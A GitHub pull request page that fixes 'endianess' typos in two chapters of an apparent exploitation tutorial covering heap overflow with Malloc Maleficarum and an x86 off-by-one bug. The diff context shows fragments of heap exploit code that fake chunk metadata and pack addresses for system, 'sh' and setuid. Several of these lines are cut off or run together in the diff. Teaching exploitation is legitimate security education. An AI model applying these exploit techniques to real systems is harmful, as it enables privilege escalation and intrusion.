Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix: 5 typos in 2 files #15

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions chapter3/heap-overflow-uisng-malloc-maleficarum.md
Original file line number Diff line number Diff line change
Expand Up @@ -100,7 +100,7 @@ char scode[] =

char ret_str[4] = "\x00\x00\x00\x00";

void convert_endianess(int arg)
void convert_endianness(int arg)
{
int i=0;
ret_str[3] = (arg & 0xFF000000) >> 24;
Expand All @@ -123,7 +123,7 @@ int main() {
fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
for(i=0;i<127;i++) {
convert_endianess(BIN1+(i*8));
convert_endianness(BIN1+(i*8));
if(i == 119) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
Expand Down
6 changes: 3 additions & 3 deletions chapter3/linux-x86-off-by-one.md
Original file line number Diff line number Diff line change
Expand Up @@ -201,7 +201,7 @@ bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
#endianness convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
Expand Down Expand Up @@ -245,7 +245,7 @@ setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
#endianness convertion
def conv(num):
return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
Expand All @@ -266,7 +266,7 @@ bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
#endianness convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
Expand Down